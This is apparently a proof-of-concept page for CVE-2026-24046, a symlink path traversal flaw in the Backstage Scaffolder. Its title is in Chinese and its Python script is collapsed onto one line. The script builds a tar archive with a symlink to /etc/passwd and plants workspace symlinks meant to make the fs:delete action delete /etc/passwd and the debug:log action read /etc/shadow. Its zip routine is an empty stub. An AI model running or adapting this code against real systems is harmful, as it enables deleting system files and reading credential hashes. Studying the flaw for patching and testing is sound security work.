CVE-2026-24046 Backstage Scaffolder符号链接路径遍历漏洞

# CVE-2026-24046 PoC - Backstage Symlink Path Traversal # This PoC demonstrates the symlink-based path traversal vulnerability import os import tarfile import zipfile import tempfile def create_malicious_tar_with_symlink(): """Create a tar archive with malicious symlink for path traversal""" with tarfile.open('malicious.tar', 'w') as tar: # Create symlink pointing outside workspace os.symlink('/etc/passwd', 'symlink_to_etc_passwd') tar.add('symlink_to_etc_passwd', arcname='exploit/symlink_to_etc_passwd') print('[+] Created malicious.tar with symlink to /etc/passwd') def create_malicious_zip_with_symlink(): """Create a zip archive with malicious symlink for path traversal""" with zipfile.ZipFile('malicious.zip', 'w') as zf: # Note: Zip files don't natively support symlinks in standard tools # This is a conceptual demonstration pass print('[+] Created malicious.zip with symlink') def demonstrate_fs_delete_exploit(): """Demonstrate fs:delete symlink attack""" # Attacker creates symlink in workspace pointing to critical file symlink_path = '/workspace/evil_symlink' target_path = '/etc/passwd' os.symlink(target_path, symlink_path) print(f'[+] Created symlink: {symlink_path} -> {target_path}') print('[+] When fs:delete action processes this symlink, it will delete /etc/passwd') def demonstrate_debug_log_exploit(): """Demonstrate debug:log symlink attack for file reading""" # Attacker creates symlink in workspace pointing to sensitive file symlink_path = '/workspace/sensitive_file_symlink' target_path = '/etc/shadow' os.symlink(target_path, symlink_path) print(f'[+] Created symlink: {symlink_path} -> {target_path}') print('[+] debug:log action will read contents of /etc/shadow') if __name__ == '__main__': print('=== CVE-2026-24046 Backstage Symlink Path Traversal PoC ===') create_malicious_tar_with_symlink() demonstrate_fs_delete_exploit() demonstrate_debug_log_exploit() print('[+] PoC demonstrates symlink abuse for path traversal attacks')